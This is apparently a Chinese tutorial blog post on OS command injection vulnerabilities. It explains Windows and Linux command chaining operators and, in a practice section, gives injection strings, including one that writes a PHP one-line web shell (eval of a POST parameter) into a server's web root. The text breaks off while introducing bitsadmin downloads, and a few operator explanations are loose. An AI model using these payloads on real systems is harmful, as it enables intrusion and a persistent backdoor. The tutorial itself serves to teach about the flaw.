(web安全)命令执行漏洞。

命令执行漏洞↓

漏洞造成↓

1.代码层过滤不严格

2.系统漏洞造成命令注入

3.第三方主件

#

#

#


下面是(win)操作系统的特点↓


了解一下命令拼接符的使用↓

《1》&连接符(win)

《1》&: 这个命令的作用是  ,无论左边是false还是true,右边都执行(就是不管左边的命令是对的还是错的,都会执行右边的命令。)这个是连接符。



《2》&&连接符(win)

《2》还有&&:具有短路效果,左边是false,右边不执行。(第一个命令错误,第二个命令就不执行。)如果第二个命令错误,第一个命令对的,那就执行第一个命令。运行逻辑从左到右开始执行。



《3》管道符 |,cmd:A|B  (win)

管道符|:A|B,表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行,命令a成立和命令b都成立,才会执行,执行的结果是b指令,不会执行a指令。



《4》管道符*2  ,||   (win)

||:A||B,表示A命令语句执行失败,然后才执行B命令语句。

如果A和B都成立,只会执行A命令语句。

#

#

#


下面是(linux)操作系统的特点↓


《1》&符号作用(linux)

Linux: &:‘&’的作用是使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’。你可以一口气在后台运行多个命令。需要停止,就是kill -s 9 进程号。



《2》(;)作用(linux)

;:分号(;)  可以进行多条命令的无关联执行,每一条执行对错的结果都不会影响其他命令的执行。



《3》&&符号的作用(linux)

&&:&&左边的(命令1)执行成功(返回0表示成功)后,&&右边的command2才能被执行。

和(win系统)的管道符  |   有点相似。



《4》||符号

||: 如果 || 左边的(命令1)执行失败(返回1表示失败),才执行||右边的(命令2),否则不执行(命令2),具有短路功能。

||符号,只有第(1)指令错误,才会执行第(2)指令。否则不执行第(2)指令。

(备注:(linux)的  | 符号作用,执行第2条命令,条件:只有第(2)指令对的,才会执行)



《5》()符号

命令执行漏洞代码结构


0x00 end...



命令执行漏洞实战↓

第一种类型《远程命令执行漏洞》

##直接浏览器提交执行操作命令执行##。



《远程命令执行漏洞实战构造操作系统命令

www.baidu.com&&dir     #查看当前目录 

www.baidu.com&&echo "<?php @eval($_POST['shell']);?>" > E:\PhpStudy2018\PHPTutorial\WWW\MuMa.php   #编写一句话木马到根目录下。



《远程命令执行漏洞实战构造win系统cmd 下载命令↓

在 Windows 系统中,可以通过多种方法在命令行(CMD 或 PowerShell)中下载文件。这里介绍几种常见的方法:

1. 使用 bitsadmin 命令

bitsadmin 是 Windows 内置的工具,可以用于下载文件。以下是使用 bitsadmin 下载文件的命令格式:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值